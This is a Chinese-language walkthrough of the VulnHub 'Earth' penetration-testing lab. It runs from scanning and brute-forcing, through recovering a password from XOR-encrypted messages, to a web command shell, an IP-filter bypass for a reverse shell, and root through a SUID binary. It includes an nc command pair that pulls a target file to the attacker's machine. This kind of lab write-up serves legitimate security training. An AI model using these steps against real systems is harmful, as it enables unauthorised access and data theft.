VulnHub Earth进行渗透测试的总结与过程
主机发现
用arp-scan工具进行内网同网段段主机发现。
Arp-scan简介:单一目标扫描,也可以进行批量扫描(对于目标主机可以指定IP地址或主机名,可以是一个网段,指定一个地址方位,指定主机和子网掩码)。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定
我使用arp-scan -l:查看网段所有的主机
漏洞扫描
使用nmap扫描发现一下端口打开 据此参数详见nmap使用手册
渗透思路
目标机开了22端口和80端口,80端口中配置了两个DNS,需要修改hosts文件指定IP。
没修改hosts之前访问http://192.168.43.241时返回Bad Request(400)错误。
修改hosts:
再次使用浏览器访问
输入框随意添加字符,点击Send Message,下方会增加一串数字。
浏览器访问:https://terratest.earth.local,显示Test site, please ignore.
使用dirb扫描目录 发现两个目录
访问第一个目录,发现是一个登录页面
尝试弱口令登录:
使用Burp抓包,设置账号密码为爆破点,选择
Cluster Bomb爆破模式,
爆破无果,继续对https://terratest.earth.local进行目录扫描:
发现了3个目录
看robots.txt爬虫文件,发现了一个特殊文件
爆破常用后缀试试看,使用BurpSuite的Intruder,并使用Kali自带字典:/usr/share/wordlists/dirb/extensions_common.txt。发现文件后缀系.txt。
翻译
测试安全消息系统注意事项:
*使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将我们的每月密钥发送到地球? 还是我们应该每周更换密钥?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前非常基础。
根据上面提示,查看testdata.txt文件
漏洞利用,破解
基于上面的testdata.txt文件内容,以及Previous Messages,写一个破解脚本:
运行结果为16进制
在使用16进制转文本
对三串十六进制数字进行转文本处理,最后一段转义后是earthclimatechangebad4humans一直在循环
使用账号:terra 密码:earthclimatechangebad4humans登陆成功
登录后显示是一个命令行,随意测试命令:
命令可以执行,使用查找命令找flag
查看flag
反弹shell
使用sh反弹shell,系统返回Remote connetions are forbidden.
疑似CLI命令有过滤机制。全局搜索一下关键字符,查看这个异常返回是来自哪个文件。根据前面nmap扫描信息分析,系统使用mod_wsgi及python 3.9,先缩小范围搜索python文件:
find / -name “*.py” -type f | xargs grep “Remote connections are forbidden”
使用cat查看文件 查看并格式化之后发现,文件对IP做了过滤:
对ip中的数字进行了过滤,尝试使用十六进制绕过:
再次尝试反弹
反弹成功,获取完整bash
提权Suid提权
查找suid程序
运行程序出错
传输到kali上面解析
攻击机:nc -nlvp 1234 >reset_root
靶机shell:nc 192.168.245.128 1234 < /usr/bin/reset_root
使用strace解析 可以看到上面有三个文件找不到,
使用touch创建这三个文件,
再次运行reset_root 发现root密码重置成了earth
使用su切换到root用户
在root目录下有flag文件